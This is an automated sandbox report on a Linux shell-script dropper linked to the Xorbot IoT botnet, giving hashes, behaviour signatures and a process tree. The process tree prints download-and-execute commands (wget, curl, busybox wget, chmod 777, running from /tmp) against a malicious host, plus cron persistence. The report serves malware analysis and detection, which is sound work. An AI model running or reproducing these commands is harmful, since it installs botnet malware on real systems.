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Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    01/03/2025, 03:35

General

  • Target

    7c0a391f5ce85b25149f47e7cdce3f47658ea8439a5d487d05833573f20ff9cb.sh

  • Size

    10KB

  • MD5

    0d6abf13920f9568901114a1d17cdfd6

  • SHA1

    8f51702b2844fafb5952fa36d21c2b47de532b5f

  • SHA256

    7c0a391f5ce85b25149f47e7cdce3f47658ea8439a5d487d05833573f20ff9cb

  • SHA512

    0e8c146bd5d415028be102875ebb16d2b898f3923252b11cfeb179fd58a8ef36a54772709f514d6297449e8fdb4246740084f9ed93dad9bdd675905cdf67b795

  • SSDEEP

    192:RdZtmvfC3A3k3x3+3e3LjHkJpgL5d5l5uFpY90cva22sYaGiQa3vvLCLuLzm+v0q:RdZtmvfC3A3k3x3+3e3LjHkJpgLHzJ9p

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1834) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/7c0a391f5ce85b25149f47e7cdce3f47658ea8439a5d487d05833573f20ff9cb.sh
    /tmp/7c0a391f5ce85b25149f47e7cdce3f47658ea8439a5d487d05833573f20ff9cb.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1485
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1486
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1487
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1492
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1494
      • /bin/chmod
        chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
        • File and Directory Permissions Modification
        PID:1495
      • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
        2⤵
          PID:1496
        • /bin/rm
          rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
          2⤵
            PID:1498
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1499
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1500
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1502
          • /bin/chmod
            chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
            • File and Directory Permissions Modification
            PID:1503
          • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
            2⤵
              PID:1504
            • /bin/rm
              rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
              2⤵
                PID:1506
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1507
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1508
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:1510
              • /bin/chmod
                chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                2⤵
                • File and Directory Permissions Modification
                PID:1511
              • /usr/bin/crontab
                crontab -l
                2⤵
                  PID:1515
                • /usr/bin/crontab
                  crontab -
                  2⤵
                  • Creates/modifies Cron job
                  PID:1517
                • /bin/rm
                  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
                  2⤵
                    PID:1519
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:1522

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki

                  Filesize

                  87KB

                  MD5

                  cb0c87b33668827fae5e9301deff9be2

                  SHA1

                  5244bae30e3a5ff2632858e4965ac44ef88ec982

                  SHA256

                  8df0afb4c9d585306e222594c42ff1587d8d2e41a0131c03699a1604e64aa496

                  SHA512

                  bae9f5ab8d3b945dd497e963259129474858d98db10a44c35ca00aea8c12f24d9348f8c6c80232997c390a6dca10155f12073f914ade584d549fe85513e69da1

                • /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv

                  Filesize

                  117KB

                  MD5

                  849fa04ef88a8e8de32cb2e8538de5fe

                  SHA1

                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                  SHA256

                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                  SHA512

                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                • /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E

                  Filesize

                  99KB

                  MD5

                  9438d9bc392bcf300a5583b6df5bc8f6

                  SHA1

                  375a6ae34b516f6f3eeea8030c4084f585017efa

                  SHA256

                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                  SHA512

                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                • /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G

                  Filesize

                  107KB

                  MD5

                  eb9c3a0de91fcf16ba17cb24608df68c

                  SHA1

                  09d95a7d70d5e115d103be51edff7c498d272fac

                  SHA256

                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                  SHA512

                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                • /var/spool/cron/crontabs/tmp.3Gi7eM

                  Filesize

                  210B

                  MD5

                  19ee5425311bfda3414e7362c6caa22a

                  SHA1

                  d924f4d5701534fc16fc226cbc1a3ec7b2b1953e

                  SHA256

                  72b009106f2ccb1269f3dcba011184f12b6d4773372fad4baf518d9aec91155b

                  SHA512

                  688f07a05c280e2a0a4ab87be54fd3db63228c20c19270b4ea5c32f550ea331ed794c41f7658de5fada59328c951199b8231dad48a346a878362caa1c61fbecf